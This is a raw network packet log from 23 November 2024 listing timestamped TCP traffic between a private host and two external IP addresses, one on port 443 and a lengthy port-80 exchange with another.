Nov 23, 2024 17:46:09.911509991 CET	443	49909	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.914659023 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.914705992 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.914766073 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.914968967 CET	49914	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.914980888 CET	443	49914	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.916763067 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.917176962 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.917196035 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.917798996 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.917807102 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.954132080 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.957251072 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.957304955 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.957366943 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.957384109 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.957392931 CET	49908	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.957396984 CET	443	49908	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.960877895 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.960911989 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.961049080 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.961261988 CET	49915	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:09.961285114 CET	443	49915	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:09.961417913 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.961476088 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.961515903 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.961589098 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.963959932 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.964066982 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.964123011 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.969101906 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.969178915 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.969223022 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.974179983 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.974240065 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.974298000 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.974436998 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.979027987 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.979099989 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.979145050 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.979183912 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.984086990 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.984119892 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.984137058 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.984181881 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.988801956 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.988923073 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.989001989 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.993726969 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.993789911 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.993954897 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:09.998533964 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.998640060 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:09.998717070 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.003417015 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.003528118 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.003736973 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.008287907 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.008416891 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.008483887 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.013168097 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.013221979 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.013269901 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.013313055 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.018079996 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.018126965 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.018151045 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.018194914 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.022057056 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.022104979 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.022187948 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.022228956 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.026226044 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.026285887 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.026309967 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.026348114 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.030111074 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.030157089 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.030225039 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.030270100 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.034265995 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.034316063 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.034323931 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.034364939 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.038264990 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.038326979 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.038374901 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.038419962 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.042201996 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.042253971 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.042462111 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.042608976 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.046303988 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.046386003 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.046449900 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.046449900 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.050311089 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.050389051 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.050421953 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.050472021 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.054269075 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.054316998 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.054388046 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.054433107 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.081052065 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.081132889 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.081166983 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.081365108 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.083028078 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.083102942 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.162945032 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.163016081 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.163057089 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.163140059 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.164422989 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.164465904 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.164524078 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.164560080 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.167305946 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.167351007 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.167428017 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.167464972 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.170303106 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.170342922 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.170397997 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.170433998 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.173069000 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.173110008 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.173185110 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.173219919 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.176033020 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.176073074 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.176132917 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.176170111 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.178833961 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.178893089 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.178894997 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.178927898 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.181802034 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.181845903 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.181969881 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.182005882 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.184592962 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.184634924 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.184783936 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.184825897 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.187494993 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.187541008 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.187551975 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.187587976 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.190288067 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.190330982 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.190398932 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.190433979 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.193366051 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.193391085 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.193413973 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.193430901 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.195957899 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.196018934 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.196053982 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.196085930 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.198710918 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.198761940 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.198878050 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.198911905 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.201489925 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.201536894 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.201571941 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.201608896 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.204301119 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.204350948 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.204389095 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.204423904 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.207110882 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.207154036 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.207295895 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.207334995 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.208961964 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.209003925 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.209044933 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.209080935 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.210813999 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.210855007 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.210915089 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.210951090 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.212691069 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.212732077 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.212780952 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.213033915 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.214519978 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.214557886 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.214620113 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.214653969 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.216398001 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.216437101 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.216528893 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.216562986 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.218236923 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.218272924 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.218348026 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.218380928 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.220082998 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.220138073 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.220171928 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.220207930 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.222008944 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.222052097 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.222086906 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.222119093 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.223798990 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.223845959 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.223897934 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.223987103 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.225629091 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.225673914 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.225734949 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.225769043 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.227492094 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.227530003 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.227581024 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.227613926 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.229309082 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.229355097 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.229425907 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.229471922 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.231180906 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.231223106 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.231309891 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.231350899 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.233015060 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.233053923 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.233118057 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.233151913 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.234970093 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.235008001 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.235057116 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.235091925 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.236717939 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.236759901 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.236882925 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.236921072 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.238569975 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.238611937 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.238617897 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.238643885 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.240514994 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.240556002 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.240567923 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.240605116 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.364207029 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.364223003 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.364303112 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.364986897 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.365025043 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.365072966 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.366849899 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.366911888 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.366934061 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.367342949 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.368555069 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.368704081 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.368741035 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.370330095 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.370419979 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.370457888 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.372179985 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.372289896 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.372328043 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.374181032 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.374295950 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.374330044 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.375952959 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.376053095 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.376102924 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.377773046 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.377840996 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.377855062 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.377895117 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.379705906 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.379832029 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.379879951 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.380799055 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.381428957 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.381491899 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.381520987 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.381525993 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.381546974 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.381546974 CET	49911	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.381560087 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.381567001 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.381581068 CET	443	49911	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.383261919 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.383357048 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.383389950 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.384676933 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.384694099 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.384723902 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.385097980 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.385181904 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.385221958 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.385246038 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.385260105 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.385333061 CET	49916	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.385348082 CET	443	49916	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.386953115 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.387001991 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.387161970 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.388823032 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.388958931 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.388978004 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.389020920 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.390724897 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.390938044 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.390981913 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.392537117 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.392644882 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.392688036 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.394399881 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.394442081 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.394535065 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.395349979 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.396306992 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.396348953 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.396409035 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.398077011 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.398132086 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.398186922 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.399346113 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.399949074 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.400042057 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.400080919 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.401788950 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.401882887 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.401930094 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.403671026 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.403760910 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.403798103 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.405817986 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.405914068 CET	80	49910	31.41.244.11	192.168.2.4
